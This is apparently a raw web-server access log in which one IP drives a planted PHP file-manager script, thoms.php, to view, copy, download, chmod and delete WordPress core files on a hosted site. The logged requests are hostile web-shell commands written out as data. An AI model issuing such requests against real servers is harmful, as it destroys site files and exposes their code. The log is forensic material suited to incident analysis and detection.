45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /bestzyx.com.tw/wp-includes/theme-previews.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /bestzyx.com.tw/wp-includes/ai-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 200 17040 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?del=PHPMailer&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?del=pomo&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59340 "http://163.245.207.76:443/thoms.php?del=pomo&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:39 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 200 16292 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:39 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:39 -0400] "GET /thoms.php?del=SimplePie&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:39 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 200 19194 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fkses.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fkses.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:39 -0400] "GET /thoms.php?del=json-schema.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:39 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 200 21909 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:39 -0400] "GET /thoms.php?dl=ms-site.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:40 -0400] "GET /thoms.php?chmod=author-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:40 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 200 54393 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:40 -0400] "GET /thoms.php?dl=atomlib.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:40 -0400] "GET /bestzyx.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:40 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 200 21221 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fhttp.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fhttp.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:40 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 200 19173 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:40 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 200 20175 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:40 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11853 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /bestzyx.com.tw/wp-includes/script-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fmeta.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fmeta.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /bestzyx.com.tw/wp-includes/Requests/ HTTP/1.1" 200 805 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 200 12285 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?del=compat-utf8.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 200 12844 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?dl=template-canvas.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59281 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?chmod=cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?chmod=capabilities.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:42 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:41 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:42 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59326 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:42 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 200 22868 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:42 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 200 14413 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:42 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /thoms.php?chmod=class-IXR.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /thoms.php?chmod=version.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:42 -0400] "GET /thoms.php?del=ms-blogs.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59350 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /thoms.php?chmod=theme.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 200 14565 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 200 48408 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /thoms.php?del=wp-db.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ficons.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ficons.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 200 19319 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:43 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /thoms.php?chmod=rss.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 200 12174 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
